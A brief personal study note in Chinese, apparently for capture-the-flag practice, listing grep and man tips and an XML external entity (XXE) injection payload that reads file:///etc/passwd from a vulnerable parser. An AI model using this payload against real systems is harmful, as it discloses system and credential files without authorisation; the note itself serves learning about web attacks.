---
# System prepended metadata

title: Generall skills

---

# 筆記酷
## genernall skills
```cmd=
grep -r "123" -找尋關鍵字
 
man 說明頁面

???? 通往福(再研究)
 
 ```
 ## web
### XML XXE 注入
放這東西攻擊可取得file:///etc/passwd的資料
```html
    <!DOCTYPE foo [
      <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <root>&xxe;</root>

```
